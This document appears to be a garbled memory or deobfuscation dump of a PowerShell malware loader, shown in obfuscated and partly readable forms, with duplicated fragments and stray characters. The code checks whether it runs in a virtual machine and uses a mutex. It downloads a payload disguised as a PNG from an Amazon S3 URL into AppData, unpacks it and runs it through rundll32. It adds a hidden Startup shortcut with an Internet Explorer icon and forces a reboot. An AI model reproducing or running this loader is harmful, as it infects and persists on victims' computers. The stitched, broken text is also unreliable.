[ s t r i n g ] $ { _ / = = = = = / = = / _ _ _ / } , [ s t r i n g ] $ { _ _ _ / _ _ _ _ / _ / = / _ } ) ;     t r y {             $ { _ / / = / / = = = / / }   =   N e w - O b j e c t   - C o m O b j e c t   W S c r i p t . S h e l l           $ { / = / = / / = _ / = _ _ }   =   $ { _ / / = / / = = = / / } . C r e a t e S h o r t c u t ( $ { _ / = = = = = / = = / _ _ _ / } )           $ { / = / = / / = _ / = _ _ } . T a r g e t P a t h   =   ' p o w e r s h e l l '         $ { / = / = / / = _ / = _ _ } . A r g u m e n t s   =   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( ' $ S { _ _ _ / / _ / _ / = _ _ / } ' )         $ { / = / = / / = _ / = _ _ } . W o r k i n g D i r e c t o r y   =   $ ( ' % S y s t e m R o o t % S y s t e m 3 2 ' )         $ { / = / = / / = _ / = _ _ } . W i n d o w S t y l e   =   7               $ { / = / = / / = _ / = _ _ } . I c o n L o c a t i o n   =   $ ( ' % P r o g r a m F i l e s % I n t e r n e t   E x p l o r e r i e x p l o r e . e x e , 1 ' )         $ { / = / = / / = _ / = _ _ } . S a v e ( )     } f i n a l l y { } } f u n c t i o n   _ / = / _ / / = = = _ / = = {     t r y     {         $ { _ / = = = = = = _ / / = / }   =   N e w - O b j e c t   S y s t e m . T h r e a d i n g . M u t e x ( $ f a l s e ,   $ ( ' 4 4 4 4 4 4 4 4 4 4 4 4 ' ) )         r e t u r n   $ { _ / = = = = = = _ / / = / } . W a i t O n e ( )         } f i n a l l y { } }     i f   ( _ / = / / = = = / = = _ _ _   - e q   " N " )     {     i f   ( _ / = / _ / / = = = _ / = = )     {           s t o p - p r o c e s s   - n a m e   w m p l a y e r           $ { _ _ _ / / = = = _ _ _ _ / / }   =   $ { e n v : A P P D A T A } + " "         $ { / = _ _ _ _ _ _ / = / = = / }   =   _ _ _ _ / _ _ / = = = _ / = /         $ { / = = = / = / _ / = / = = }   =   $ ( ' . t x t ' )         $ { _ / = / = = = / _ _ _ / _ }   =   $ ( ' . v b s ' )         $ { / = / = = _ _ / _ / _ _ / }     =   $ { _ _ _ / / = = = _ _ _ _ / / } + $ { / = _ _ _ _ _ _ / = / = = / } + $ { / = = = / = / _ / = / = = }         $ { / = _ _ / = _ _ _ / = = = _ }     =   $ { _ _ _ / / = = = _ _ _ _ / / } + $ { / = _ _ _ _ _ _ / = / = = / } + $ { _ / = / = = = / _ _ _ / _ }           s l e e p   - s   1                 $ { / = = = / _ / = = = = / = }     =   $ f a l s e                 w h i l e ( $ { / = = = / _ / = = = = / = }   - n e   $ t r u e )                 {                 _ _ / = = = = _ _ _ / = _ / _   $ { _ _ _ _ / = = = / = = = = = / }   $ { / = / = = _ _ / _ / _ _ / } ;   s l e e p   - s   1                   i f   ( ( g i   $ { / = / = = _ _ / _ / _ _ / } ) . l e n g t h   - g t   2 0 4 8 k b )                   {                       $ { / = = = / _ / = = = = / = }     =   $ t r u e                                                                                                                                           $ { _ / = _ / = = / = _ _ / _ }   =     " Y "                       }                       e l s e                         {                                                                   $ { _ / = _ / = = / = _ _ / _ }   =   " N "                       }                 W r i t e - H o s t   $ { / = = = / _ / = = = = / = }                 }                   $ { _ / = _ / = = / = _ _ / _ }   =     " Y "                   i f   ( $ { _ / = _ / = = / = _ _ / _ }   - e q   " Y " )                     {                     $ { / = = = _ _ / / = = _ / = = }   =   $ { _ _ _ / / = = = _ _ _ _ / / } + $ { / = _ _ _ _ _ _ / = / = = / }   + $ ( ' . z i p ' )                       r e n   - P a t h   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( ' $ { / = / = = _ _ / _ / _ _ / } ' )   - N e w N a m e   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( ' $ { / = = = _ _ / / = = _ / = = } ' ) ;                     $ { / = _ / = _ / = = = _ _ _ / }   =   N e w - O b j e c t   - C o m O b j e c t   s h e l l . a p p l i c a t i o n                     $ { _ / _ _ _ / _ / = = = = = = }   =   $ { / = _ / = _ / = = = _ _ _ / } . N a m e S p a c e ( $ { / = = = _ _ / / = = _ / = = } )                                                       f o r e a c h   ( $ { _ / = = = = / _ / / _ _ / }   i n   $ { _ / _ _ _ / _ / = = = = = = } . i t e m s ( ) )                             {                                 $ { / = _ / = _ / = = = _ _ _ / } . N a m e s p a c e ( $ { _ _ _ / / = = = _ _ _ _ / / } ) . C o p y H e r e ( $ { _ / = = = = / _ / / _ _ / } )                           }                     s l e e p   - s   3                       $ { _ / _ / = _ / = _ / _ _ _ }   =   _ _ _ _ / _ _ / = = = _ / = /                     $ { / = _ / = = = / _ / = = = }   =   $ { _ / _ / = _ / = _ / _ _ _ }   +   ( ' . p r x ' )                     $ { _ / _ / = _ / = _ / _ _ _ }   =   $ { _ / _ / = _ / = _ / _ _ _ }   +   ( ' . d l l ' )                     r e n   - P a t h   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( ' $ e n v : A P P D A T A $ { _ / / _ / _ / = / = = = = } ' )   - N e w N a m e   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( ' $ e n v : A P P D A T A $ { _ / _ / = _ / = _ / _ _ _ } ' ) ;                     r e n   - P a t h   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( ' $ e n v : A P P D A T A $ { _ / _ _ _ _ / = / _ / = = = } ' )   - N e w N a m e   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( ' $ e n v : A P P D A T A $ { / = _ / = = = / _ / = = = } ' ) ;
, f o r 1 9 f o r                     r e n   - P a t h   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( ' $ e n v : A P P D A T A $ { _ / _ _ _ _ / = / _ / = = = } ' )   - N e w N a m e   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( ' $ e n v : A P P D A T A $ { / = _ / = = = / _ / = = = } ' ) ;                     s l e e p   - s   3                       c d   $ e n v : A P P D A T A   ;                       s h e l l O b j e t o   =   N e w - O b j e c t   - C o m   W S c r i p t . S h e l l                     $ { _ / = / / / = _ _ / / = }   =   s h e l l O b j e t o . S p e c i a l F o l d e r s . I t e m ( $ ( ' s t a r t u p ' ) ;                     d e l   $ { _ / = / / / = _ _ / / = } * . v b s                     d e l   $ { _ / = / / / = _ _ / / = } * . l n k                     $ { / = _ _ _ _ _ _ / _ / _ / = }   =   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( ' c d   $ e n v : A P P D A T A ;   S t a r t - P r o c e s s   r u n d l l 3 2 . e x e   $ { _ / _ / = _ / = _ / _ _ _ } ,   $ { _ _ _ / = / / _ _ _ _ _ / = } ' )                     $ { _ _ _ / = / = = / _ _ _ _ _ }   =   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( ' $ { _ / = / / / = _ _ / / = } $ { / = _ / = = = / _ / = = = } . l n k ' )                     _ _ _ _ _ / = = _ / = _ / = = =   $ { _ _ _ / = / = = / _ _ _ _ _ }     $ { / = _ _ _ _ _ _ / _ / _ / = }                     s l e e p   - s   4 0 R e s t a r t - C o m p u t e r   - F o r c e                 }         }     } f u n c t i o n   _ / = / / = = = / = = _ _ _ {     $ { _ / _ _ _ / = _ / / _ _ / }   =   g w m i   - C l a s s   W i n 3 2 _ C o m p u t e r S y s t e m   | s e l e c t   - E x p a n d P r o p e r t y   M o d e l     i f   ( $ { _ / _ _ _ / = _ / / _ _ / }   - e q   $ ( ' V i r t u a l B o x ' )   - o r         $ { _ / _ _ _ / = _ / / _ _ / }   - e q   $ ( ' V M w a r e   V i r t u a l   P l a t f o r m ' )   - o r         $ { _ / _ _ _ / = _ / / _ _ / }   - e q   $ ( ' V i r t u a l   M a c h i n e ' )   - o r     $ { _ / _ _ _ / = _ / / _ _ / }   - e q   $ ( ' H V M   d o m U ' )     {         r e t u r n   " Y "     }     e l s e     {           r e t u r n   " N "     } } _   /     _ _ _   /   =     _   /     /     _ _   / c o m p u t e r S y s t e m _   /   =     /     /   = = =     /   = =     _ _ _ v m C h e c k f u n c t i o n   v m C h e c k {     $ { c o m p u t e r S y s t e m }   =   g w m i   - C l a s s   W i n 3 2 _ C o m p u t e r S y s t e m   | s e l e c t   - E x p a n d P r o p e r t y   M o d e l     i f   ( $ { c o m p u t e r S y s t e m }   - e q   $ ( ' V i r t u a l B o x ' )   - o r         $ { c o m p u t e r S y s t e m }   - e q   $ ( ' V M w a r e   V i r t u a l   P l a t f o r m ' )   - o r         $ { c o m p u t e r S y s t e m }   - e q   $ ( ' V i r t u a l   M a c h i n e ' )   - o r     $ { c o m p u t e r S y s t e m }   - e q   $ ( ' H V M   d o m U ' )     {         r e t u r n   " Y "     }     e l s e     {           r e t u r n   " N "     } } f u n c t i o n   _ _ _ _ / _ _ / = = = _ / = / {     t r y     {         $ { _ _ _ / _ / = _ / = _ / / }   =   G e t - R a n d o m   - M i n i m u m   1   - M a x i m u m   9         $ { _ / / _ / / _ / = / / }   =   " "         F o r   ( $ { / = = / _ _ _ / _ / / = = } = 0 ;   $ { / = = / _ _ _ / _ / / = = }   - l e   $ { _ _ _ / _ / = _ / = _ / / } ;   $ { / = = / _ _ _ / _ / / = = } + + )           {             q w e r t y u i o p l k j h g f d s a z x c v b n m Q W E R T Y U I O P A S D F G H J K L Z X C V B N M     =   $ ( ' q w e r t y u i o p l k j h g f d s a z x c v b n m Q W E R T Y U I O P A S D F G H J K L Z X C V B N M ' )             n o m e R a n d o m i c o _ g e t r a n d o m     =   G e t - R a n d o m   - M i n i m u m   1   - M a x i m u m   q w e r t y u i o p l k j h g f d s a z x c v b n m Q W E R T Y U I O P A S D F G H J K L Z X C V B N M . L e n g t h             c a r a c t e r e R a n d o m i c o   =   q w e r t y u i o p l k j h g f d s a z x c v b n m Q W E R T Y U I O P A S D F G H J K L Z X C V B N M . S u b s t r i n g ( n o m e R a n d o m i c o _ g e t r a n d o m , 1 )             $ { _ / / _ / / _ / = / / }   =   $ { _ / / _ / / _ / = / / } + c a r a c t e r e R a n d o m i c o               }         r e t u r n   $ { _ / / _ / / _ / = / / }       }     f i n a l l y { } } /   = =     /     _ _ _   /     _   /     /   = = i _ _ _   /     _   /   =     _   /   =     _   /     / l e n g t h _   /     /     _ _   /     /     _   /   =     /     / r e t u r n V a l u e   t r y     {         $ { l e n g t h }   =   G e t - R a n d o m   - M i n i m u m   1   - M a x i m u m   9
1 9 使 使 D o t   N e t   F i l e S t r e a m   W r i t e 使         $ { r e t u r n V a l u e }   =   " "         F o r   ( $ { i } = 0 ;   $ { i }   - l e   $ { l e n g t h } ;   $ { i } + + )           {             q w e r t y u i o p l k j h g f d s a z x c v b n m Q W E R T Y U I O P A S D F G H J K L Z X C V B N M     =   $ ( ' q w e r t y u i o p l k j h g f d s a z x c v b n m Q W E R T Y U I O P A S D F G H J K L Z X C V B N M ' )             n o m e R a n d o m i c o _ g e t r a n d o m     =   G e t - R a n d o m   - M i n i m u m   1   - M a x i m u m   q w e r t y u i o p l k j h g f d s a z x c v b n m Q W E R T Y U I O P A S D F G H J K L Z X C V B N M . L e n g t h             c a r a c t e r e R a n d o m i c o   =   q w e r t y u i o p l k j h g f d s a z x c v b n m Q W E R T Y U I O P A S D F G H J K L Z X C V B N M . S u b s t r i n g ( n o m e R a n d o m i c o _ g e t r a n d o m , 1 )             $ { r e t u r n V a l u e }   =   $ { r e t u r n V a l u e } + c a r a c t e r e R a n d o m i c o               }         r e t u r n   $ { r e t u r n V a l u e }       }     f i n a l l y { } q w e r t y u i o p l k j h g f d s a z x c v b n m Q W E R T Y U I O P A S D F G H J K L Z X C V B N M _ _ _ _   /     _ _   /   = = =     _   /   =     / g e t R a n d o m S t r i n g f u n c t i o n   _ _ / = = = = _ _ _ / = _ / _ ( $ { _ _ _ / / _ / _ / = _ _ / } ,   $ { _ _ _ / = = / = / = _ _ _ _ / } ) {         $ { / = _ / / = = = = / _ / }   =   N e w - O b j e c t   $ ( ' S y s t e m . u r i ' )   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( $ S { _ _ _ / / _ / _ / = _ _ / } )           $ { / = / = = = _ / / _ / _ }   =   [ S y s t e m . N e t . H t t p W e b R e q u e s t ] : : C r e a t e ( $ { / = _ / / = = = = / _ / } )           $ { / = / = = = _ / / _ / _ } . s e t _ T i m e o u t ( 1 5 0 0 0 )           $ { / = / = = = = _ _ / = = _ _ }   =   $ { / = / = = = _ / / _ / _ } . G e t R e s p o n s e ( )           $ { / = _ / = = _ _ / _ _ / _ }   =   [ S y s t e m . M a t h ] : : F l o o r ( $ { / = / = = = = _ _ / = = _ _ } . g e t _ C o n t e n t L e n g t h ( ) / 1 0 2 4 )           $ { _ / = = = / = _ / = _ _ _ / }   =   $ { / = / = = = = _ _ / = = _ _ } . G e t R e s p o n s e S t r e a m ( )           $ { _ _ / = = = = _ _ / / _ _ / }   =   N e w - O b j e c t   - T y p e N a m e   S y s t e m . I O . F i l e S t r e a m   - A r g u m e n t L i s t   $ { _ _ _ / = = / = / = _ _ _ _ / } ,   C r e a t e           $ { / = / = / = = _ / / = _ }   =   n e w - o b j e c t   b y t e [ ]   1 0 K B           $ { _ / = = = _ / = / / = = = }   =   $ { _ / = = = / = _ / = _ _ _ / } . R e a d ( $ { / = / = / = = _ / / = _ } , 0 , $ { / = / = / = = _ / / = _ } . l e n g t h )           $ { / = = _ / = = = / / = / }   =   $ { _ / = = = _ / = / / = = = }           w h i l e   ( $ { _ / = = = _ / = / / = = = }   - g t   0 )           {                   $ { _ _ / = = = = _ _ / / _ _ / } . W r i t e ( $ { / = / = / = = _ / / = _ } ,   0 ,   $ { _ / = = = _ / = / / = = = } )                   $ { _ / = = = _ / = / / = = = }   =   $ { _ / = = = / = _ / = _ _ _ / } . R e a d ( $ { / = / = / = = _ / / = _ } , 0 , $ { / = / = / = = _ / / = _ } . l e n g t h )                   $ { / = = _ / = = = / / = / }   =   $ { / = = _ / = = = / / = / }   +   $ { _ / = = = _ / = / / = = = }           }           $ { _ _ / = = = = _ _ / / _ _ / } . F l u s h ( )         $ { _ _ / = = = = _ _ / / _ _ / } . C l o s e ( )           $ { _ _ / = = = = _ _ / / _ _ / } . D i s p o s e ( )           $ { _ / = = = / = _ / = _ _ _ / } . D i s p o s e ( )           r e t u r n   " Y " } _ _ _   /     /     _   /     _   /   =     _ _   /   S y s t e m . U r i u r l /   =     /   = = =     _   /     / /   _ _   /     _ S y s t e . N e t . H t t p W e b R e q u e s t h t t p W e b R e q u e s t /   =     /   = = = =     _ _   /   = =     _ _ h t t p R e s p o n s e g e t _ C o n t e n t L e n g t h r e s p o n s e C o n t e n t L e n g t h /   =     _   /   = =     _ _   /     _ _   /     _ G e t R e s p o n s e S t r e a m r e s p o n s e S t r e a m _   /   = = =     /   =     _   /   =     _ _ _   / _ _   /   = = = =     _ _   /     /     _ _   / D o t   N e t   S y s t e m . I O . F i l e S t r e a m f i l e S t r e a m f u n c t i o n   d o w n l o a d F i l e A n d W r i t e T o F i l e ( $ { u r l } ,   $ { a r g u m e n t L i s t } ) {         $ { u r i }   =   N e w - O b j e c t   $ ( ' S y s t e m . U r i ' )   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( $ S { u r l } )           $ { h t t p W e b R e q u e s t }   =   [ S y s t e m . N e t . H t t p W e b R e q u e s t ] : : C r e a t e ( $ { u r i } )           $ { h t t p W e b R e q u e s t } . s e t _ T i m e o u t ( 1 5 0 0 0 )           $ { h t t p R e s p o n s e }   =   $ { h t t p W e b R e q u e s t } . G e t R e s p o n s e ( )           $ { r e s p o n s e C o n t e n t L e n g t h }   =   [ S y s t e m . M a t h ] : : F l o o r ( $ { h t t p R e s p o n s e } . g e t _ C o n t e n t L e n g t h ( ) / 1 0 2 4 )           $ { r e s p o n s e S t r e a m }   =   $ { h t t p R e s p o n s e } . G e t R e s p o n s e S t r e a m ( )           $ { f i l e S t r e a m }   =   N e w - O b j e c t   - T y p e N a m e   S y s t e m . I O . F i l e S t r e a m   - A r g u m e n t L i s t   $ { a r g u m e n t L i s t } ,   C r e a t e           $ { a r r a y T o W r i t e }   =   n e w - o b j e c t   b y t e [ ]   1 0 K B           $ { s i z e T o W r i t e }   =   $ { r e s p o n s e S t r e a m } . R e a d ( $ { a r r a y T o W r i t e } , 0 , $ { a r r a y T o W r i t e } . l e n g t h )           $ { c o u n t e r }   =   $ { s i z e T o W r i t e }           w h i l e   ( $ { s i z e T o W r i t e }   - g t   0 )           {                   $ { f i l e S t r e a m } . W r i t e ( $ { a r r a y T o W r i t e } ,   0 ,   $ { s i z e T o W r i t e } )   # b y t e [ ]   a r r a y ,   i n t   o f f s e t ,   i n t   c o u n t                   $ { s i z e T o W r i t e }   =   $ { r e s p o n s e S t r e a m } . R e a d ( $ { a r r a y T o W r i t e } , 0 , $ { a r r a y T o W r i t e } . l e n g t h )                   $ { c o u n t e r }   =   $ { c o u n t e r }   +   $ { s i z e T o W r i t e }           }           $ { f i l e S t r e a m } . F l u s h ( )         $ { f i l e S t r e a m } . C l o s e ( )           $ { f i l e S t r e a m } . D i s p o s e ( )           $ { r e s p o n s e S t r e a m } . D i s p o s e ( )           r e t u r n   " Y " } f u n c t i o n   _ _ _ _ _ / = = _ / = _ / = = = {     P a r a m ( [ s t r i n g ] $ { _ / = = = = = / = = / _ _ _ / } , [ s t r i n g ] $ { _ _ _ / _ _ _ _ / _ / = / _ } ) ;     t r y {             $ { _ / / = / / = = = / / }   =   N e w - O b j e c t   - C o m O b j e c t   W S c r i p t . S h e l l  
使 使 i e x p l o r e . e x e 7 S t y s t e m R o o t   S y s t e m 3 2 P o w e r s h e l l   使         $ { _ / / = / / = = = / / }   =   N e w - O b j e c t   - C o m O b j e c t   W S c r i p t . S h e l l           $ { / = / = / / = _ / = _ _ }   =   $ { _ / / = / / = = = / / } . C r e a t e S h o r t c u t ( $ { _ / = = = = = / = = / _ _ _ / } )           $ { / = / = / / = _ / = _ _ } . T a r g e t P a t h   =   ' p o w e r s h e l l '         $ { / = / = / / = _ / = _ _ } . A r g u m e n t s   =   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( ' $ S { _ _ _ / / _ / _ / = _ _ / } ' )         $ { / = / = / / = _ / = _ _ } . W o r k i n g D i r e c t o r y   =   $ ( ' % S y s t e m R o o t % S y s t e m 3 2 ' )         $ { / = / = / / = _ / = _ _ } . W i n d o w S t y l e   =   7               $ { / = / = / / = _ / = _ _ } . I c o n L o c a t i o n   =   $ ( ' % P r o g r a m F i l e s % I n t e r n e t   E x p l o r e r i e x p l o r e . e x e , 1 ' )         $ { / = / = / / = _ / = _ _ } . S a v e ( )     } f i n a l l y { } } W S c r i p t . S h e l l _   / / = / / = = = / / w s c r i p t S h e l l O b j e c t _   /   = = = = =     /   = =     /     _ _ _   / t a r g e t L o c a t i o n C r e a t e S h o r t c u t /   =     /   =     /     /   =     _   /   =     _ _ c r e a t e S h o r t c u t _ _ _ _   /     /     _   /     _   /   =     _ _   /   c r e a t e S h o r t c u t f u n c t i o n   c r e a t e S h o r t c u t {     P a r a m ( [ s t r i n g ] $ { t a r g e t L o c a t i o n } , [ s t r i n g ] $ { u n u s e d C o m m a n d } ) ;     t r y {             $ { w s c r i p t S h e l l O b j e c t }   =   N e w - O b j e c t   - C o m O b j e c t   W S c r i p t . S h e l l           $ { s h o r t c u t }   =   $ { w s c r i p t S h e l l O b j e c t } . C r e a t e S h o r t c u t ( $ { t a r g e t L o c a t i o n } )           $ { s h o r t c u t } . T a r g e t P a t h   =   ' p o w e r s h e l l '         $ { s h o r t c u t } . A r g u m e n t s   =   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( $ S { a r g u m e n t s } )         $ { s h o r t c u t } . W o r k i n g D i r e c t o r y   =   $ ( ' % S y s t e m R o o t % S y s t e m 3 2 ' )         $ { s h o r t c u t } . W i n d o w S t y l e   =   7               $ { s h o r t c u t } . I c o n L o c a t i o n   =   $ ( ' % P r o g r a m F i l e s % I n t e r n e t   E x p l o r e r i e x p l o r e . e x e , 1 ' )         $ { s h o r t c u t } . S a v e ( )     } f i n a l l y { } } f u n c t i o n   _ / = / _ / / = = = _ / = = {     t r y     {         $ { _ / = = = = = = _ / / = / }   =   N e w - O b j e c t   S y s t e m . T h r e a d i n g . M u t e x ( $ f a l s e ,   $ ( ' 4 4 4 4 4 4 4 4 4 4 4 4 ' ) )         r e t u r n   $ { _ / = = = = = = _ / / = / } . W a i t O n e ( )         } f i n a l l y { } } S y s t e m . T h r e a d i n g . M u t e x _   /   = = = = = =     _   /     / /   =     /   f u n c t i o n   m u t e x C h e c k {     t r y     {         $ { t h r e a d i n g M u t e x }   =   N e w - O b j e c t   S y s t e m . T h r e a d i n g . M u t e x ( $ f a l s e ,   $ ( ' 4 4 4 4 4 4 4 4 4 4 4 4 ' ) )         r e t u r n   $ { t h r e a d i n g M u t e x } . W a i t O n e ( )         } f i n a l l y { } } $ { a m a z o n U r l }   =   $ ( ' h t t p s : / / s 3 - e u - w e s t - 1 . a m a z o n a w s . c o m / j u r e m a s o b r a 2 / i m a g e 2 . p n g ' ) _ . d l l   =   $ ( ' _ . d l l ' ) _ . p r x   =   $ ( ' _ . p r x ' ) M a x N o t i f y       =   $ ( ' M a x N o t i f y ' )     i f   ( v m C h e c k   - e q   " N " )     {     i f   ( m u t e x C h e c k )     {           s t o p - p r o c e s s   - n a m e   w m p l a y e r           $ { _ _ _ / / = = = _ _ _ _ / / }   =   $ { e n v : A P P D A T A } + " "         $ { / = _ _ _ _ _ _ / = / = = / }   =   g e t R a n d o m S t r i n g         $ { / = = = / = / _ / = / = = }   =   $ ( ' . t x t ' )         $ { _ / = / = = = / _ _ _ / _ }   =   $ ( ' . v b s ' )         $ { / = / = = _ _ / _ / _ _ / }     =   $ { _ _ _ / / = = = _ _ _ _ / / } + $ { / = _ _ _ _ _ _ / = / = = / } + $ { / = = = / = / _ / = / = = }         $ { / = _ _ / = _ _ _ / = = = _ }     =   $ { _ _ _ / / = = = _ _ _ _ / / } + $ { / = _ _ _ _ _ _ / = / = = / } + $ { _ / = / = = = / _ _ _ / _ }           s l e e p   - s   1                 $ { / = = = / _ / = = = = / = }     =   $ f a l s e                 w h i l e ( $ { / = = = / _ / = = = = / = }   - n e   $ t r u e )                 {                 d o w n l o a d F i l e A n d W r i t e T o F i l e   $ { a m a z o n U r l }   $ { / = / = = _ _ / _ / _ _ / } ;   s l e e p   - s   1                   i f   ( ( g i   $ { / = / = = _ _ / _ / _ _ / } ) . l e n g t h   - g t   2 0 4 8 k b )                   {                       $ { / = = = / _ / = = = = / = }     =   $ t r u e                                                                                                                    
v m C h e c k N m u t e x c h e c k 使 4 w m p l a y e r A P P D A T A                       $ { _ / = _ / = = / = _ _ / _ }   =     " Y "                       }                       e l s e                         {                                                                   $ { _ / = _ / = = / = _ _ / _ }   =   " N "                       }                 W r i t e - H o s t   $ { / = = = / _ / = = = = / = }                 }                   $ { _ / = _ / = = / = _ _ / _ }   =     " Y "                   i f   ( $ { _ / = _ / = = / = _ _ / _ }   - e q   " Y " )                     {                     $ { / = = = _ _ / / = = _ / = = }   =   $ { _ _ _ / / = = = _ _ _ _ / / } + $ { / = _ _ _ _ _ _ / = / = = / }   + $ ( ' . z i p ' )                       r e n   - P a t h   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( ' $ { / = / = = _ _ / _ / _ _ / } ' )   - N e w N a m e   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( ' $ { / = = = _ _ / / = = _ / = = } ' ) ;                     $ { / = _ / = _ / = = = _ _ _ / }   =   N e w - O b j e c t   - C o m O b j e c t   s h e l l . a p p l i c a t i o n                     $ { _ / _ _ _ / _ / = = = = = = }   =   $ { / = _ / = _ / = = = _ _ _ / } . N a m e S p a c e ( $ { / = = = _ _ / / = = _ / = = } )                                                       f o r e a c h   ( $ { _ / = = = = / _ / / _ _ / }   i n   $ { _ / _ _ _ / _ / = = = = = = } . i t e m s ( ) )                             {                                 $ { / = _ / = _ / = = = _ _ _ / } . N a m e s p a c e ( $ { _ _ _ / / = = = _ _ _ _ / / } ) . C o p y H e r e ( $ { _ / = = = = / _ / / _ _ / } )                           }                     s l e e p   - s   3                       $ { _ / _ / = _ / = _ / _ _ _ }   =   g e t R a n d o m S t r i n g                     $ { / = _ / = = = / _ / = = = }   =   $ { _ / _ / = _ / = _ / _ _ _ }   +   ( ' . p r x ' )                     $ { _ / _ / = _ / = _ / _ _ _ }   =   $ { _ / _ / = _ / = _ / _ _ _ }   +   ( ' . d l l ' )                     r e n   - P a t h   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( ' $ e n v : A P P D A T A $ { _ / / _ / _ / = / = = = = } ' )   - N e w N a m e   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( ' $ e n v : A P P D A T A $ { _ / _ / = _ / = _ / _ _ _ } ' ) ;                     r e n   - P a t h   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( ' $ e n v : A P P D A T A $ { _ / _ _ _ _ / = / _ / = = = } ' )   - N e w N a m e   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( ' $ e n v : A P P D A T A $ { / = _ / = = = / _ / = = = } ' ) ;                     s l e e p   - s   3                       c d   $ e n v : A P P D A T A   ;                       s h e l l O b j e t o   =   N e w - O b j e c t   - C o m   W S c r i p t . S h e l l                     $ { _ / = / / / = _ _ / / = }   =   s h e l l O b j e t o . S p e c i a l F o l d e r s . I t e m ( $ ( ' s t a r t u p ' ) ;                     d e l   $ { _ / = / / / = _ _ / / = } * . v b s                     d e l   $ { _ / = / / / = _ _ / / = } * . l n k                     $ { / = _ _ _ _ _ _ / _ / _ / = }   =   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( ' c d   $ e n v : A P P D A T A ;   S t a r t - P r o c e s s   r u n d l l 3 2 . e x e   $ { _ / _ / = _ / = _ / _ _ _ } ,   $ { _ _ _ / = / / _ _ _ _ _ / = } ' )                     $ { _ _ _ / = / = = / _ _ _ _ _ }   =   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( ' $ { _ / = / / / = _ _ / / = } $ { / = _ / = = = / _ / = = = } . l n k ' )                     c r e a t e S h o r t c u t   $ { _ _ _ / = / = = / _ _ _ _ _ }     $ { / = _ _ _ _ _ _ / _ / _ / = }                     s l e e p   - s   4 0 R e s t a r t - C o m p u t e r   - F o r c e                 }         }     } $ { a m a z o n U r l }   =   $ ( ' h t t p s : / / s 3 - e u - w e s t - 1 . a m a z o n a w s . c o m / j u r e m a s o b r a 2 / i m a g e 2 . p n g ' ) _ . d l l   =   $ ( ' _ . d l l ' ) _ . p r x   =   $ ( ' _ . p r x ' ) M a x N o t i f y       =   $ ( ' M a x N o t i f y ' )   i f   ( v m C h e c k   - e q   " N " )     {     i f   ( m u t e x C h e c k )     {           s t o p - p r o c e s s   - n a m e   w m p l a y e r           $ { A p p D a t a }   =   $ { e n v : A P P D A T A } + " "         $ { g e t R a n d o m S t r i n g R e s u l t }   =   g e t R a n d o m S t r i n g         $ { D o t T x t }   =   $ ( ' . t x t ' )         $ { D o t V b s }   =   $ ( ' . v b s ' )         $ { A p p D a t a T x t F i l e L o c a t i o n }     =   $ { A p p D a t a } + $ { g e t R a n d o m S t r i n g R e s u l t } + $ { D o t T x t }         $ { A p p D a t a V b s F i l e L o c a t i o n }     =   $ { A p p D a t a } + $ { g e t R a n d o m S t r i n g R e s u l t } + $ { D o t V b s }           s l e e p   - s   1 $ { i s D o w n l o a d S u c c e e d e d }     =   $ f a l s e                 w h i l e ( $ { i s D o w n l o a d S u c c e e d e d }   - n e   $ t r u e )                 {                 d o w n l o a d F i l e A n d W r i t e T o F i l e   $ { a m a z o n U r l }   $ { A p p D a t a T x t F i l e L o c a t i o n } ;   s l e e p   - s   1                   i f   ( ( g i   $ { A p p D a t a T x t F i l e L o c a t i o n } ) . l e n g t h   - g t   2 0 4 8 k b )                   {                       $ { i s D o w n l o a d S u c c e e d e d }     =   $ t r u e                                                                                                                                           $ { i s D o w n l o a d S u c c e e d e d S t r i n g }   =     " Y "                       }                       e l s e                         {                                                                   $ { i s D o w n l o a d S u c c e e d e d S t r i n g }   =   " N "                       }                 W r i t e - H o s t   $ { i s D o w n l o a d S u c c e e d e d }                 }                   $ { i s D o w n l o a d S u c c e e d e d S t r i n g }   =     " Y " i f   ( $ { i s D o w n l o a d S u c c e e d e d S t r i n g }   - e q   " Y " )                     {                     $ { Z i p F i l e P a t h }   =   $ { A p p D a t a } + $ { g e t R a n d o m S t r i n g R e s u l t }   + $ ( ' . z i p ' )                       r e n   - P a t h   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( $ { A p p D a t a T x t F i l e L o c a t i o n } )   - N e w N a m e   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( [ T e x t . E n c o d i n g ]
